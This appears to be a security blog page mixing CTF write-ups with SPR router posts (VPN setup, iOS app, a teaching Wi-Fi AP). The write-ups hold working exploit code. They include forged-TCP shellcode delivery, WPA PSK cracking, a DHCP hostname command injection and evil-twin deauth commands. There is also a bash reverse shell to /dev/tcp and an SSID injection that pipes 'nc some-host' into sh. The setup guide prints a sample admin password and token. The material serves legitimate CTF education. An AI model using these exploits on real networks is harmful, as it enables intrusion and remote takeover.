Skip to main content

· 6 min read

Noppenheimer

At Defcon CTF Finals, the Final round of LiveCTF went into sudden death. The challenge was named Noppenheimer, a play on the Oppenheimer film that was released, and NOP (NO-OP) instructions.

Contestants had to turn a random sequence of bytes into a gadget/shellcode cave by converting bytes into NOPs, by sending "nuke" Launch commands.

Options:
LAUNCH x,y - Launch a test at position x,y
VIEW - See state of test site
ENDTEST - Conclude testing
>

Both teams solved locally. But they couldn't exploit Noppenheimer against the remote system.

What Went Wrong

Teams used a single read/recv syscall to receive to get shellcode to run. Without any delays in the program, the call will return quickly and if the payload is larger than the MTU it will return partial TCP data. The payloads were crashing on the remote end as they didn't have working shellcode.

As @ZetaTwo and @psifertex explain, the conditions which cause this are highly specific to the exploit with payload length, delays, and other factors. The testers exploits didnt trigger this problem.

Solving with IP Fragmentation

IP Packets can be fragmented into multiple packets when they exceed the MTU size, which is the maximum amount of octets accepted at layer 2 on Ethernet.

By sending fragments in reverse order, it can be ensured that the recv/read call will get all of the data that has been sent, even beyond the MTU size.

Here is a python solution that combines scapy with pwntools, to run inside of a container, which does just that.

As a bonus, it also includes a semi-working TCP implementation written in pure scapy/python.

#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
# Author: [email protected] <github.com/lts-rad>
'''
Demo of TCP w/ sending fragmented payloads with scapy.

Run this code inside of a namespace/container. Since Linux sends RST for forged SYN packets,
this code will use iptables to block them.

#> iptables -A OUTPUT -p tcp --tcp-flags RST RST -s <src_ip> -j DROP
'''
from scapy.all import *
import logging
from pwn import *

logger = logging.getLogger(__name__)
#logging.basicConfig(level=logging.DEBUG)
#logger.setLevel(logging.DEBUG)

class TcpHandshake(object):

class RLoop(threading.Thread):
def __init__(self, tcp):
threading.Thread.__init__(self)
self.tcp = tcp

def handle_recv(self, pkt):
if pkt and pkt.haslayer(IP) and pkt.haslayer(TCP):
if pkt[TCP].flags & 0x3f == 0x12: # SYN+ACK
logger.debug("RCV: SYN+ACK")
self.tcp.send_synack_ack(pkt)
return
elif pkt[TCP].flags & 4 != 0: # RST
logger.debug("RCV: RST")
#raise Exception("RST")
self.tcp.abort = True
return
elif pkt[TCP].flags & 0x1 == 1: # FIN
logger.debug("RCV: FIN")
self.tcp.send_finack(pkt)
return
elif pkt[TCP].flags.A: # ACK came in?
logger.debug("RCV: ACK")
self.tcp.send_base = pkt[TCP].ack

logger.debug("RCV: %s"%repr(pkt))
if len(pkt[TCP].payload) > 0:
self.tcp.Q += [bytes(pkt[TCP].payload)]
self.tcp.send_ack(pkt)

#great, got an ack, check the send queue for pending data
while len(self.tcp.send_queue) > 0:
ret = self.tcp.send_data(self.tcp.send_queue.pop(0))
if ret == False:
break

return
else:
logger.debug("? Unhandled packet")
return


def run(self):
ans = sniff(filter="tcp port %s"%self.tcp.target[1], lfilter=self.tcp.match_packet, prn=self.handle_recv, store=False)

def __init__(self, target, sport=31337):
self.seq = 0
self.seq_next = 0
self.target = target
self.dst = next(iter(Net(target[0])))
self.dport = target[1]
self.sport = sport #random.randrange(0, 2**16)
self.seq_start = random.randrange(0, 2**32)
# options=[('WScale', 7)]
self.l4 = IP(version=4,dst=target[0])/TCP(sport=self.sport, dport=self.dport, flags=0,
seq=self.seq_start, window=65535)
self.src = self.l4.src
self.Q = []
self.abort = False


self.send_base = self.l4[TCP].seq
self.send_window = self.l4[TCP].window
self.last_sent = self.send_base
self.send_queue = []

self.last_ack = 0

#let underlying handle ethernet
self.s = conf.L3socket()

self.R = self.RLoop(self)
self.R.start()
logger.debug("init: %s"%repr(target))

def start(self):
logger.debug("start")
return self.send_syn()

def match_packet(self, pkt):
if pkt.haslayer(IP) and pkt[IP].dst == self.l4[IP].src \
and pkt.haslayer(TCP) and pkt[TCP].dport == self.sport:
if pkt[TCP].ack <= self.seq_next and pkt[TCP].ack >= self.seq_start:
return True
else:
logger.debug("ack was %d expected %d" % (pkt[TCP].ack, self.seq_next))
return False

def send_syn(self):
logger.debug("SND: SYN")
self.l4[TCP].flags = "S"
self.seq_next = self.l4[TCP].seq + 1
self.s.send(self.l4)
self.l4[TCP].seq += 1

def send_synack_ack(self, pkt):
logger.debug("SND: SYN+ACK -> ACK with ack # %d" % (pkt[TCP].seq + 1))
self.l4[TCP].ack = pkt[TCP].seq + 1
self.l4[TCP].flags = "A"
self.seq_next = self.l4[TCP].seq
self.s.send(self.l4)

def send_data(self, d):
if self.abort == True:
print("[-] not sending data, aborted !!!")
return False
self.l4[TCP].flags = "PA"

available = self.send_base + self.send_window - self.last_sent

if available == 0:
self.send_queue += [d]
# have to wait
return False
assert available >= 0

if available < len(d):
d, chop = d[:available], d[available:]
self.send_queue += [chop]

self.seq_next = self.l4[TCP].seq + len(d)
self.last_sent = self.seq_next
tosend = self.l4/d

self.s.send(tosend)
self.l4[TCP].seq += len(d)
return True

def send_frag_data(self, d, sz):
if self.abort == True:
print("[-] not sending data, aborted !!!")
return
assert sz >= 8
self.l4[TCP].flags = "PA"

#tbd send window handling for fragments(?)
dat = self.l4/d
fragments = fragment(dat, sz)
for f in fragments[::-1]:
self.s.send(f)

self.seq_next = self.l4[TCP].seq + len(d)
self.last_sent = self.seq_next
self.l4[TCP].seq += len(d)
return True

def send_fin(self):
logger.debug("SND: FIN")
self.l4[TCP].flags = "F"
self.seq_next = self.l4[TCP].seq + 1
self.s.send(self.l4)
self.l4[TCP].seq += 1

def send_rst(self):
logger.debug("SND: RST")
self.l4[TCP].flags = "R"
self.seq_next = self.l4[TCP].seq + 1
self.s.send(self.l4)
self.l4[TCP].seq += 1

def send_finack(self, pkt):
logger.debug("SND: FIN+ACK")
self.l4[TCP].flags = "FA"
self.l4[TCP].ack = pkt[TCP].seq + 1
self.seq_next = self.l4[TCP].seq + 1
self.s.send(self.l4)
self.l4[TCP].seq += 1
#raise Exception("FIN+ACK")
self.abort = True

def send_ack(self, pkt):
self.l4[TCP].flags = "A"

self.last_ack = pkt[TCP].ack
to_acknowledge = len(pkt[TCP].payload)
#logger.debug("SND: ACK with ack # %d" % (pkt[TCP].seq + len(pkt[TCP].load)))

if to_acknowledge != 0:
self.l4[TCP].ack = pkt[TCP].seq + to_acknowledge
self.s.send(self.l4)

def recv(self, timeout):
elapsed = 0
while (timeout != 0) and (elapsed < timeout):
if len(self.Q) > 0:
retval = self.Q.pop(0)
return retval
time.sleep(0.01)
elapsed += 0.
#returning nothing
return ""

def clear_recv(self):
self.Q = []

def wait_all_acks(self, timeout=0):
elapsed = 0
delta = 0.1
while (timeout != 0) and (elapsed < timeout):
if self.last_ack == self.seq_next and len(self.send_queue) == 0:
return True
time.sleep(delta)
elapsed += delta
return False



if __name__== '__main__':
sport = random.randint(40000, 60000)
os.system("iptables -F OUTPUT")
os.system("iptables -A OUTPUT -p tcp --sport %d --tcp-flags RST RST -j DROP"%sport)
conf.verb = 0

tcp_hs = TcpHandshake(("172.17.0.2", 31337), sport=sport)

r = tubes.sock.sock()
r.send = tcp_hs.send_data
r.recv = tcp_hs.recv
tcp_hs.start()

tosend = b""
def nuke(offset):
global tosend
# scapy send is slow. to speed it up,
# chunk the commands
if len(tosend) > 400:
r.send(tosend)
tosend = b""

tosend += b'LAUNCH %d,%d\n'%(offset%0x10,offset//0x10)

def nukes(a, b):
for i in range(a, b):
nuke(i)


nukes(0, 0x40)
nukes(0x50, 0x58)
nukes(0x5b, 0x60)
nukes(0x70, 0xb0)
nukes(0xc0, 0xc3)

nukes(0xc6, 0xc7)
nukes(0xca, 0xd0)
nuke(0xdc)
nukes(0xe0, 0xec)
nukes(0xed, 0xf0)

nukes(0x108, 0x10c)
nukes(0x10d, 0x473)
nukes(0x495, 0xc17)
nuke(0)

if tosend:
r.send(tosend)

tosend = b'ENDTEST\n'
r.send(tosend)

context.arch = 'amd64'
sc = b'\x90\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

print("******** sending shellcode ***********")
d = b'\x90' * (0xd00+200) + sc

tcp_hs.send_frag_data(d, 100)
#raw_input()

r.recvuntil(b'ENDTEST')

#raw_input("Ready?")
print("Waiting for data to come in...")
time.sleep(2)
tcp_hs.clear_recv()
print("[+] Good")

try:
r.interactive()
except:
print('aborted')

print("over")
raw_input()
os.system("iptables -F OUTPUT")
tcp_hs.send_fin()
tcp_hs.send_rst()
FROM python:3.8-slim

# Set the working directory
WORKDIR /app

# Install system dependencies
RUN apt-get update && apt-get install -y libpcap-dev

# Install Scapy using pip
RUN pip install scapy pwntools
RUN pip uninstall pyelftools -y
RUN pip install pyelftools==0.29

RUN apt-get install -y iptables net-tools
RUN apt-get install -y tmux tcpdump iproute2
COPY connect.py .

ENTRYPOINT ["/app/connect.py"]

· 3 min read

Introduction

This guide allows you to setup your own cloud VPN using SPR for $4/month on the DigitalOcean Marketplace. It features ad blocking, firewall rules, and device micro-segmentation.

If you want to dive in directly: Click here to create a droplet using the SPR image. Else, follow along in the steps below.

Step 1 - Create a SPR Droplet

To create a SPR Droplet from the Digital Ocean marketplace, press the Create SPR Droplet button:

Pressing the button will take you to the DigitalOcean control panel. If you are not logged into your DigitalOcean account, you need to login. If you don't have an account, you can sign up for one.

Step 2 - Configure your droplet

Select a region & be sure to create a SSH key if you don't have one configured already.

For Droplet Size, the smallest $4/month with 512 MB RAM is enough but feel free to choose another one.

After you've made all your choices, press Create droplet.

Step 3 - Access your droplet

In the droplet listing you can see the IP address, click Get started to see the tutorial and how to access you server.

Step 4 - Generate a VPN Key and Connect

cd /home/spr/super && ./virtual_install.sh

You can scan the QR Code generated from the terminal

Step 5 -- Connecting to SPR

To connect to the SPR UI/API, it's possible to connect via the VPN, or to connect with an SSH tunnel

For the ssh tunnel approach, reconnect to the droplet, with forwarding options

ssh [email protected]  -N -L 8000:127.0.0.1:8000

Then navigate to localhost:8000. The password is auto generated by the droplet and presented on the first login .

[+] login information:
==========================================================
http tunnel: ssh 165.22.182.180 -N -L 8000:127.0.0.1:8000
url: http://localhost:8000/
username: admin
password: SmczeGzcEPbBmQEi
token: 6Yd2MtMSkm0TiDG2ZIWqoFqxgiHN9HzRJ24m/U8HKw4=
==========================================================

You can update the admin password by modifying /home/spr/super/configs/auth/auth_users.json directly.

Alternately, when connected to the VPN, the default address for the SPR frontend will be at 192.168.2.1. This can be updated under the 'supernetworks' panel.

Conclusion

With this guide we've described how to setup virtual SPR to get a secure, self-hosted VPN for $4/month. The setup allows you to route and redirect traffic, block ads, and automate networks tasks.

See the spr-virtual-image-build repository on GitHub for how the image is built.

Read more about running SPR in the cloud in the Virtual SPR Guide.

· 4 min read

Secure Private Router Configuration Made Easy

We are happy to announce the release of our iOS app for the SPR project. You can manage your SPR effortlessly, even while you're on the go with the VPN capabilities. The App is available today for $0.99. Revenue goes towards the development of SPR.

Read more about SPR here

Simplified Configuration

You can set up your new router, configure network firewall rules, manage devices, and establish secure VPN connections with just a few taps.

Connect Your Friends Quickly and Securely

With the SPR App you can securely bring a new device onto your wifi network in only a few seconds. To do so, add a new device, set a name, and hit next to generate a secure password. Then scan the QR code from the new device and it will be good to go.

By default, the new device has access to just the internet and nothing else. You can join it into groups for access to local network devices. For example, a gaming group for playing LAN networked games.

Ad Blocking and DNS Controls

Enhance your browsing experience by blocking intrusive ads at the network level. You can also view and customize your network device's DNS requests.

Remote Configuration via VPN

spr vpn client

SPR works great for turning your home network into a personal VPN service. You can also host SPR in the cloud. Using SPR to VPN your mobile devices helps get better network speeds to work around operator traffic shaping, as well as keep access to media services while traveling. And it's also helpful to maintain ad blocking while on the go, without adding any software at all to your devices.

With the App you can manage your SPR over the VPN itself.

To learn more about running SPR using VPN, with all its features except WiFi, check out the Virtual SPR Setup Guide

Next Steps

If you'd like to experience the power of open-source networking and take control of your network's security and privacy, give SPR a try.

Whether you're connecting directly to your SPR device or remotely through a VPN, our app offers a seamless and intuitive interface, empowering you to create a hardened and resilient home network environment.

You can download our iOS app today. Visit our homepage to learn more.

The source code for the app is available on GitHub.

App Privacy and Privacy Policy

Data Not Collected

Supernetworks, Inc. does not collect any data from this app.

We do not collect any personal information about you, such as your name, address, or email address, when you use our app.

Our app does not use any third-party services that collect or use personal information. We may receive crash logs from Apple which include anonymized code stack traces from where the errors occured.

We do not share customer data with any third-party services.

Read our Privacy Policy here

· One min read

Introducing Barely AP

We've published barely an implementation of a WiFi 802.11 Access Point, using Scapy to teach people about WiFi authentication.

What

On Linux, this code lets you spin up a python access point over monitor mode. It implements features like handling probe requests, authentication, association, and reassociation, and encryption and decryption of data using CCMP (Counter Mode Cipher Block Chaining Message Authentication Code Protocol).

Note

This code just barely gets the job done -- it should NOT be used as a reference for writing production code. It has NO protocol security, as it is not security robust despite performing authenticated CCMP encryption.

Usage:

Building & running

./build.sh
./setup.sh

Inspect IP traffic


docker exec -it barely-ap tcpdump -i scapyap
docker exec -it barely-sta tcpdump -i wlan1

· 10 min read

Editor's note:

The Turtles WiFi challenges are a series of ctf-style problems concerning network and wifi security skills.

The tasks were a bit challenging, and invovled a combination of WiFi Cracking and exploring how WPA Authentication works, against a custom Access point using Salsa20 instead of AES.

Axel Souchet has kindly shared his writeup with us, which we share below.

Turtles: Virtual WiFi Hacking Challenges - March 2023

Introduction

The older I get, the more fascinated I have become with the world surrounding me; I ask myself all the time 'how does this thing work uh 🤔?'. It is both fun and rewarding for me to understand the world a bit better. This is also a great way to be constantly humbled by the magic that surrounds us 🌈

Although I enjoy the process of learning how things work, there are millions of things that I interact with daily, that I know so little about; embarrassing.

Heck, how does WiFi work I thought? Because I know that I learn best by getting my hands dirty, I decided to try to solve a few challenges as an introduction. That is why I decided to check-out the March Turtle challenge 🙂

If you want to play at home, you can find the challenges on Github and one the SPR website:

You can participate either directly from your browser via an impressive emulated Linux environment or you can self-host the challenge by cloning the turtles-march-2023 repository and follow the instructions. I chose to self-host the challenges as it made it easier to debug for me.

Warmups

All right, enough blah blah and let's get warmed up. In that part of the challenge, we are asked to extract data off two packet captures: turtle0.pcap & turtle0.5.pcap.

For the first capture, we need to extract a PSK that looks like the following: turtle{x}, great. Because we don't have more details regarding the PSK's shape itself, it is fair to assume that the authors want us to use a wordlist attack instead of trying to bruteforce it.

I grabbed the famous rockyou wordlist and I wrote a small Python script to format prepend / append turtle{} as this is what the PSK will look like.

with open('rockyou-turtle.txt', 'w', encoding='utf8') as fout:
with open('rockyou.txt', 'r', encoding='utf8', errors='replace') as fin:
for line in fin.readlines():
line = line.strip()
fout.write(f'turtle{{{line}}}\n')
print('Done')

Then, I ran aircrack-ng with the new wordlist against turtle0.pcap with the following command: $ aircrack-ng turtle0.pcap -w rockyou-turtle.txt.

After a few minutes, a valid key was found: turtle{power}, great!

                        Aircrack-ng 1.6

[00:00:01] 3200/2465175 keys tested (5273.73 k/s)

Time left: 7 minutes, 46 seconds 0.13%

KEY FOUND! [ turtle{power} ]


Master Key : 11 8C 23 85 2D 5F 7E AC DE 8C 85 B0 CB 80 02 5F
CA 48 34 DF CE 2D 2A 7C 3C 01 4B A8 14 B7 2D E1

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 6B D2 F8 71 7F E5 D8 5E 5B 68 FE 53 0A 28 9D 4E

The next challenge says that there is data to be decrypted inside turtle0.5.pcap. Both the station and the AP use the 4-way handshake to derive various keys that are used to encrypt traffic. We cracked a PSK in the previous step, so we can open the packet capture into Wireshark and let it decrypt the traffic for us. Follow Wireshark's HowToDecrypt802.11 article to know how to do that.

Once decrypted, there is a PING request with a flag in its payload: turtle{deecoded}, awesome.

Step 1

Okay warmups done, time to have a look at the real challenges. For this step, the authors ask for us to crack another PSK from another packet capture of a handshake. We also have the source code of a custom AP.

I initially threw turtle1-handshake.pcap at aircrack-ng with the rockyou-turtle.txt wordlist but no valid key was found, bummer. I thought it was possible that this key was part of another famous wordlist so I downloaded a bunch of them, but ... same. Weird.

I learned more about the 4-way handshake to understand how both the station & AP derive the keys needed to transmit / verify encrypted frames. Because the handshake was captured from a custom AP, it made sense to me that maybe aircrack-ng didn't understand the handshake properly and missed PSK.

I decided to implement the attack on my own. I used the MIC code that is sent by the AP in the 3rd message to verify if a candidate is valid or not (on top of the nonces/macs in the first / second messages). We have the entire EAPOL packet so we can compute the MIC code ourselves and verify if it matches the one sent by the AP. If it does, it means we have found a valid PSK 🤤

I ran the script against the turtleified rockyou wordlist, and eventually (it's slow!) found a valid PSK candidate: turtle{excellent} 🔥

# Axel '0vercl0k' Souchet - April 15 2023
# WIN w/ b'turtle{excellent}'
import hashlib
import hmac
from scapy.all import *

class EAPOL_KEY(Packet):
name = 'EAPOL_KEY'
fields_desc = [
ByteEnumField('key_descriptor_type', 1, {1: 'RC4', 2: 'RSN'}),
BitField('reserved2', 0, 2),
BitField('smk_message', 0, 1),
BitField('encrypted_key_data', 0, 1),
BitField('request', 0, 1),
BitField('error', 0, 1),
BitField('secure', 0, 1),
BitField('has_key_mic', 1, 1),
BitField('key_ack', 0, 1),
BitField('install', 0, 1),
BitField('key_index', 0, 2),
BitEnumField('key_type', 0, 1, {0: 'Group/SMK', 1: 'Pairwise'}),
BitEnumField('key_descriptor_type_version', 0, 3, {
1: 'HMAC-MD5+ARC4',
2: 'HMAC-SHA1-128+AES-128',
3: 'AES-128-CMAC+AES-128',
0x20: 'SALSA20-HMAC'
}),
LenField('key_length', None, 'H'),
LongField('key_replay_counter', 0),
XStrFixedLenField('key_nonce', b'\x00'*32, 32),
XStrFixedLenField('key_iv', b'\x00'*16, 16),
XStrFixedLenField('key_rsc', b'\x00'*8, 8),
XStrFixedLenField('key_id', b'\x00'*8, 8),
XStrFixedLenField('key_mic', b'\x00'*16, 16),
LenField('wpa_key_length', None, 'H'),
ConditionalField(
XStrLenField('key', b'\x00'*16,
length_from=lambda pkt: pkt.wpa_key_length),
lambda pkt: pkt.wpa_key_length and pkt.wpa_key_length > 0)
]


def customPRF512(key, amac, smac, anonce, snonce):
"""Source https://stackoverflow.com/questions/12018920/"""
A = b"Pairwise key expansion"
B = b"".join(sorted([amac, smac]) + sorted([anonce, snonce]))
num_bytes = 64
R = b''
for i in range((num_bytes * 8 + 159) // 160):
R += hmac.new(key, A + chb(0x00) + B + chb(i), hashlib.sha1).digest()
return R[:num_bytes]

def calc(pwd):
amac = bytes.fromhex('02:00:00:00:00:00'.replace(':', ''))
smac = bytes.fromhex('02:00:00:00:01:00'.replace(':', ''))
anonce = bytes.fromhex(
'7338c25bf9d1bba6a8dea56e87bb8b6a2e3f658be7ba8173c6ab58991e648e5f')
snonce = bytes.fromhex(
'82ce083ab0cdb46f1ae0cc94a922cdf7ca742bf130396996f92be706cca62a25')
PMK = hashlib.pbkdf2_hmac('sha1', pwd, b'turtle1', 4_096, 32)
KCK = customPRF512(PMK, amac, smac, anonce, snonce)[:16]
keydata = bytes.fromhex('ace914ed4b7bf2b638b81c841bd3ab67561681d57591496ff93465d173c04f911679a118fb7f9590faef7fe21aa5c82d8bc746b190ea84e1')
assert len(keydata) == 56
ek = EAPOL(version='802.1X-2004',type='EAPOL-Key') / EAPOL_KEY(
key_descriptor_type=2, key_descriptor_type_version=2, install=1, key_type=1, key_ack=1,\
has_key_mic=1, secure=1, encrypted_key_data=1, key_replay_counter=2, \
key_nonce=anonce, key_length=16, key=keydata, wpa_key_length=len(keydata)
)
return hmac.new(KCK, ek.build(), hashlib.sha1).digest()[:16]

def main():
wanted = bytes.fromhex('7235448e1b056108e40ff429ad3545ab')
assert len(wanted) == 16
with open('rockyou-turtle.txt', 'r', encoding='utf8') as fin:
for line in fin.readlines():
candidate = line.strip().encode()
c = calc(candidate)
assert len(c) == 16
if c == wanted:
print(f'WIN w/ {candidate}')
return
print('Done')

if __name__ == '__main__':
main()

Step 2

All right, final step. In this step, we are given another custom AP's source code and we need to break in. How exciting uh?

For this step, I set-up an environment to debug and interact with the AP. I created a regular Hyper-V Ubuntu VM (note that this won't work from WSL2) and ran the two containers with the below commands:

over@bubuntu:~/turtles-march-2023$ sudo docker compose up -d
[sudo] password for over:
Starting t1_ap ... done
Starting t1_start ... done

over@bubuntu:~/turtles-march-2023$ sudo ./setup.sh

At that stage, you can log-in into both containers with the following commands:

over@bubuntu:~/turtles-march-2023$ sudo docker exec -it t1_start bash
over@bubuntu:~/turtles-march-2023$ sudo docker exec -it t1_ap bash

t1_ap is the container that runs the AP and t1_start is where you can run a client and send packets to the AP. This is cool because you don't need any physical Wifi device to play in this environment!

One of the keys that is derived during the 4-way handshake is meant to be shared by every station; kind of a group key. My understanding is that it is used to send broadcast-like packets to every station. In the AP, it turns out this key is a constant: turtle{everyone gets a shell :)} 😬

After reading the code carefully, it is clear that there you don't need to be associated with the AP to send a packet encrypted with this group key. This is particularly interesting because we don't have knowledge of the PSK which means we wouldn't be able to complete the 4-way handshake. In a normal AP, the GTK is shared in an encrypted frame and it isn't a constant / isn't known by an attacker (and is rotated every time a station disconnects).

Finally, an attacker can trigger a shell command injection when the AP parses a DHCP offer packet:

def reply_dhcp_offer(self, incoming):
# ...
for o in incoming[DHCP].options:
# Log hostname for DNS revers lookup
if o[0] == 'hostname':
cmd = "echo %s %s.lan >> hostnames.txt" % (dest_ip, o[1].decode("ascii"))
os.system(cmd )

At this point we have every ingredients to break into the AP and execute arbitrary shell commands by sending a specially crafted DHCP offer packet encrypted with the GTK 🔥; here's my code that can be run from t1_start:

# Axel '0vercl0k' Souchet - April 11 2023
from scapy.all import *
from salsa20 import Salsa20
from itertools import count
import hmac
import hashlib
import struct

gtk_full = b'turtle{everyone gets a shell :)}'
GTK = gtk_full[:16]
MIC_AP_TO_GROUP = gtk_full[16:24]
group_IV = count()

def encrypt(pkt):
data = pkt.build()
pn = next(group_IV)
aad_calc = hmac.new(MIC_AP_TO_GROUP, data, hashlib.sha1).digest()[:16]
key = GTK
cipher = Salsa20(key, struct.pack('>Q', pn))
payload = cipher.encrypt(data) + aad_calc
pn0 = pn & 0xff
pn1 = (pn>>8) & 0xff
pn2 = (pn>>16) & 0xff
pn3 = (pn>>24) & 0xff
return Dot11CCMP(data=payload, ext_iv=1, key_id=1, PN0 = pn0, PN1=pn1, PN2=pn2, PN3=pn3)

def main():
# root@0c0b905e70eb:/# iw dev
# phy#0
# Interface mon0
# ifindex 2
# wdev 0x2
# addr 02:00:00:00:00:00
# type monitor
# txpower 20.00 dBm
# Interface wlan0
# ifindex 50
# wdev 0x1
# addr 02:00:00:00:00:00
# type managed
# txpower 20.00 dBm
ap = '02:00:00:00:00:00'
# root@29a50eeb6fb5:/x# iw dev
# phy#1
# Interface wlan1
# ifindex 51
# wdev 0x100000001
# addr 02:00:00:00:01:00
# type managed
# txpower 20.00 dBm
station = '02:00:00:00:01:00'
cmd = 'id; ls /'
inner_pkt = Ether(src=station) / IP() / UDP(dport=67) / BOOTP(op=1) / DHCP(options=[
('hostname', f'; {cmd} #'),
])
receiver = ap
sender = station
bssid = ap
pkt = RadioTap() / Dot11(addr1=receiver, addr2=sender, addr3=bssid, FCfield='to-DS+protected') / encrypt(inner_pkt)
pkt.show()
os.system('iw dev wlan1 interface add mon1 type monitor 2>/dev/null')
sendp(pkt, iface = 'mon1', verbose = True)

if __name__ == '__main__':
main()

Thanks again to SPR, the challenge authors for putting out free educational content, you guys rock 👏🏽✊🏽

· 9 min read

Editor's note:

The Turtles WiFi challenges are a series of ctf-style problems concerning network and wifi security skills. We first ran a challenge in this style at Stockholm's Midnight Sun CTF Finals in August '22 at the Turtles MidnightSun Finals. You can play along with January's challenge, with the github repository.

January's winner, Amy from Ret2 Systems, has kindly let us share their challenge writeup. Congratulations! And thanks again for putting this writeup together.

February's contest will be released on the 20th and we will be giving out more raspberry pis!

Intro

We find ourselves in a twisting maze of WLANs. There are 5 machines connected across several WLAN networks. We start as root on the first machine and must move laterally across the network to exfiltrate 3 flag files. From our box we can connect to an access point with the SSID "jan-turtle1".

Flag 1

Our first target is also connected to the "jan-turtle1" AP over WPA3. We can assume that the target may be doing something interesting over this network, so performing a MitM attack may be fruitful. To pull this off we can use the so-called "Evil Twin Attack" where we impersonate the AP.

First we need to set up our own AP with the same SSID and configuration as the existing "jan-turtle1" AP. I used hostapd to do this with the following config:

interface=wlan2
driver=nl80211
hw_mode=a
channel=40
ssid=jan-turtle1
wpa=2
wpa_key_mgmt=SAE
wpa_pairwise=CCMP
ap_isolate=1
sae_password=sn0wt0rt0ise
ip addr add dev wlan2 192.168.1.1/24
hostapd -B /root/h.conf

Once we have the AP up and running, clients looking for the real "jan-turtle1" AP may connect to our malicious AP instead. However the target is already connected to the existing AP, so it won't attempt to reconnect to our AP.

Luckily we can force it off of the original AP by abusing deauthentication packets. If we send these packets with a spoofed target address, we cause the target to disconnect. Once the client has disconnected, there is a chance that they will reconnect to our malicious access point. We can use aireplay-ng to perform this attack on a second WLAN:

ip link set dev wlan3 up
yes | airmon-ng start wlan3 40
# Start deauth on target MAC
aireplay-ng -0 10 -a 02:00:00:00:00:00 -c 02:00:00:00:01:00 wlan3mon &
# tcpdump -i wlan2 -v
06:09:53 Waiting for beacon frame (BSSID: 02:00:00:00:00:00) on channel 40
06:09:53 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00
tcpdump: listening on wlan2, link-type EN10MB (Ethernet), snapshot length 262144 bytes
06:10:01.225272 02:00:00:00:01:00 (oui Unknown) > Broadcast Null Unnumbered, xid, Flags [Response], length 6: 01 00
06:10:08.879191 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.1 tell 192.168.1.2, length 28
06:10:08.879228 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.1 is-at 02:00:00:00:02:00 (oui Unknown), length 28
08:35:14.868587 IP (tos 0x0, ttl 64, id 18623, offset 0, flags [DF], proto TCP (6), length 60)
192.168.1.2.49070 > 192.168.1.1.http: Flags [S], cksum 0x27e2 (correct), seq 547073709, win 64240, options [mss 1460,sackOK,TS val 3350547164 ecr 0,nop,wscale 7], length 0
06:10:08.879473 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
192.168.1.1.http > 192.168.1.2.49070: Flags [R.], cksum 0x9d34 (correct), seq 0, ack 547073710, win 0, length 0

Looks like there is a unencrypted HTTP request! Lets host our own http server using python:

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
192.168.1.2 - - [15/Feb/2023 06:17:06] "GET /install.sh HTTP/1.1" 404 -
192.168.1.2 - - [15/Feb/2023 06:17:16] code 404, message File not found

If we create our own install.sh, it looks like the box will run it! Lets get a reverse shell

bash -i >& /dev/tcp/192.168.1.1/1337 0>&1

Nice, we captured the first flag!

Listening on 0.0.0.0 1337
Connection received on 192.168.1.2 47550
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
root@2d419af9c243:/# cat flag1.txt
turtles{0f004d8e004f4577952eda915426eac38f4df6b4}
root@2d419af9c243:/#

Flag 2

For the second stage, we are given a binary named wardriver which is running on the second target. This binary has two main features. First it used iw dev <dev> scan to collect information on all near by access points.

int getData() {
__snprintf_chk(command, 256LL, 1LL, 256LL, "iw dev %s scan", (const char *)IFACE);
if ( fopen("scan.txt", "r") )
strcpy(command, "cat scan.txt");
v0 = popen(command, "r");
insert(v0);
...
sqlite3_exec(v7, v8, 0LL, 0LL);
}
__int64 __fastcall insert(...) {
...
__snprintf_chk(
v8, 256LL, 1LL, 256LL,
"INSERT INTO wifis VALUES(%d, '%s', '%s', '%s');",
_id, bss_str, ssid_str, signal_str,
);
}

If we create an malicious AP, the SSID will be formatted into this INSERT command. We can use this to perform an SQL insert injection into the database, allowing us to control any field of a new entry to the wifis table.

Next we look at the second functionality. The binary will periodically dump values from the table and send them as data using a curl command:

__int64 dump() {
...
v0 = sqlite3_exec(v3, "SELECT * FROM wifis", callback, 0LL);
...
}
__int64 __fastcall callback(...) {
...
if ( bss_str && signal_str ) {
__snprintf_chk(
command, 128LL, 1LL, 128LL,
"curl %s --data \"{\\\"bss\\\": \\\"%s\\\", \\\"signal\\\": \\\"%s\\\"}\"",
"http://127.0.0.1:8080/logs",
bss_str, signal_str);
system(command);
return 0LL;
}
return 1LL;
}

We can see that there is no sanitization of the bss or signal columns when formatted into the command. We can trigger command injection here by creating a malicious wifi entry using the SQL injection in the previous function. The length of command injection in the SSID is limited, so I fetched a second stage from a remote host. Here is the hostapd config with the SQL injection payload:

interface=wlan4
driver=nl80211
hw_mode=a
channel=48
ssid=',''),(2,'`nc some-host 9|sh`','
wpa=2
wpa_key_mgmt=SAE
wpa_pairwise=CCMP
ap_isolate=1
sae_password=shred_the_gnar_pow

After a few seconds the wardriver picks up our AP and we get a connect back on the second target!

$ nc -l 1338 -v
Listening on 0.0.0.0 1338
Connection received on 192.168.1.2 58580
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
root@b976e8a2f52b:/# cat flag2.txt
cat flag2.txt
turtles{f0c03d9e242a89f1df51e5da9a833750398fe989}
root@b976e8a2f52b:/#

Flag 3

For the final target, we need to exploit an SOAP Server running on the second AP. Our second target box is already authenticated to the AP, so we can easily talk to the server directly.

Decompiling the binary, we see that it is a simple HTTP server which implements a few parts of the SOAP protocol. We can perform a some actions such as listing the server uptime or date.

The first bug I found was in an error handler. This handler uses the http_response function to build a response with HTTP code 400. However for the body pointer, it mistakenly passes a void** pointer instead of a char* ptr. This will leak the address of the soap_action function as well as a stack address in the body of the 400 response.

int __cdecl http_response(...) {
